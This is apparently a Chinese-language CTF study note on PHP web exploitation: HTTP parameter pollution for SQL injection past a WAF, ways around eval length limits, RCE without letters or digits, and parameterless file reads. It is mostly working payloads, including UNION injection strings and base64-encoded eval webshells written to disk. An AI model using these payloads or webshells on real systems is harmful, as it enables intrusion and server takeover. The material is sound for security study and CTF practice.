目录
贷齐乐(HTTP参数污染)
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// 经过第一个waf处理
//i_d=1&i.d=aaaaa&submit=1
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
//i_d=1&i.d=aaaaa&submit=1
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
//print_r($rewrite_url);exit;
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
//$_REQUEST[I_d]=-1 union select flag users
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// $_REQUEST不能有恶意字符
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysqli_query($sql);
while($row = mysqli_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>
payload
?submit=aaa&i_d=-1//union//select//1,schema_name,3//from//information.schema.schemata//&i.d=bbb
submit=aaa&i_d=-1//union//select//1,table_name,3//from//information.schema.tables//where/**/schema_name='ctf'&i.d=bbb
WAF2过滤了单引号和等号,用like模糊匹配查找,并将ctf转换为十六进制
submit=aaa&i_d=-1//union//select//1,table_name,3//from//information.schema.tables//where//schema_name//like 0x12343&i.d=bbb
1、php取最后一个参数,php会自动把i.d转换为i_d,这里实际是第二个参数,经过了waf1的过滤,而第一个参数i_d,逃过了waf1的过滤
2、$_REQUEST是按顺序取的(submit、i_d、i.d),
3、$user_id = $REQUEST['i_d'];最后从$REQUEST取i_d时,i.d不会影响其取值。
php一句话木马;eval长度限制突破方法
<?php
$param = $_REQUEST['param'];
if (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param,'assert') === false)//$param中不能包含eval和assert
{
eval($param);
}
方法一:执行命令替换
//$_GET[1]从地址栏获取参数1=id,相当于执行`id`
payload: ?param=echo `$_GET[1]`&1=id 或者exec(_GET[1])&1=id
//eval(`id`),eval是php中的命令执行,``是Linux中的命令执行,先php执行,在Linux执行
方法二:文件内容追加+文件包含+php伪协议
将一句话木马<?php eval(&_POST[1])用 base64编码,追加到N文件中。(file_put_contents不接受某些特殊字符,如`<)
file_put_contents(N,p,8),第一个参数为追加内容的文件,第二个参数为追加内容的base64编码,第三个参数为file_append。这里由于参数长度的限制,使用了等价于file_append的8,php中file_put_contents函数的c语言底层代码中8为file_append
include,文件包含:接收到的文件都会以这里的php文件格式执行。
foo.php?1=file_put_contents¶m=$_GET[1](N,P,8);
foo.php?1=file_put_contents¶m=$_GET[1](N,D,8);
foo.php?1=file_put_contents¶m=$_GET[1](N,w,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */
foo.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
#读取N文件的内容,并将其base64解码
方法三:PHP5.6+变长参数 + usort回调后门
payload: web.php?1[]=test&1[]=phpinfo();&2=assert
param=usort(...$_GET);
usort(code, 函数),第一个参数当做参数放到第二个参数的函数执行。
...表示函数可传递可变长参数
eval长度限制突破方法,最多7个字符
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 )
{
echo shell_exec($param);
}
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
>hp >c.p\\ >\ -\\.......w>o\ \\ w>ech\\
向c.pp写入<?php eval($_GET[1]);一句话木马,重定向不支持<和?等特殊符号写入文件,所以将编码成base64编码格式,然后以base64解码读取c.php文件。
利用重定向,创建文件,ls -t然后以时间的顺序排列,就观察到会以echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php这样执行,生成一个c.php文件
RCE 无字母数字绕过
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
php7版本
这里过滤了$,之前使用的$_GET()接收参数的方法行不通了。
在php7版本下可以通过($a)();
方法来执行动态函数,
将要执行的代码,这里以(phpinfo)()为例,将phpinfo字母进行url编码再取反
payload(~%8F%97%8F%96%91%99%90)();
%8F%97%8F%96%91%99%90这一串字符,是phpinfo进行url编码再取反。
现在对%8F%97%8F%96%91%99%90进行url编码出来为不可见字符,就绕过了。
在进入程序中,php对不可见字符取反就编译成了phpinfo
通用版本解决
那如果是php7版本以下怎么办呢?
我们可以利用文件上传方式来执行,首先我们必须清楚文件上传的过程。当文件上传到服务端后,文件会先存放到/tmp的临时目录下,经过安全检测后才决定存不存放到相应的目录下。我们就可以利用文件还存在/tmp临时目录这个时刻,来进行绕过。
首先构造一个提交文件的前端
<form action="rce1.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="">
<input type="submit" value="submit">
</form>
上传文件的代码内容,执行linux的命令。(这里进行测试可以随便写)
#!/bin/bash
id
payload
?code=?><?=`.+/???/????????[@-[]`?>
执行文件生成对应的临时文件,
有两个难题:1.如何找到对应的临时文件 2.生成对应的临时文件没有执行权限
解决
eval函数的参数code,默认后面有<?php,所以要在其后面接? >进行闭合
<?php,这里的php可以等价于=;
. /tmp/phpasdse .后面加空格可以不用执行权限执行临时文件
匹配文件,我们知道临时文件的一个特性,最后一个字符是随机生成的,可能会是大写,而正常的linux文件最后一个字符都是小写。我们可以利用这个特征来匹配临时文件。[@-[]表示匹配大写字母。
注意:如果是在网站url传参,需要将payload中url不支持编码的字符进行url编码。Burpsuit软件会自动把参数编码好传递,无需编码。
无参数文件读取
题目要求,读取该目录下的flag文件
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
(?R)这个正则的意思是子递归,[^\W]()这个匹配的函数,大概意思就是必须是函数嵌套,不能有参数
scandir(‘url’):获取目录下的文件,参数需要传递路径
getcwd():获取当前目录路径
scandir(getcwd())这两个函数搭配使用,可以获取当前目录下的所有文件,但我们如何拿到flag这个文件呢?
array_flip():交换数组的键和值,
array_rand():随机返回一个数组的键
利用上述两个函数,多尝试几次就能拿到flag文件,最后再利用show_source()函数读取文件即可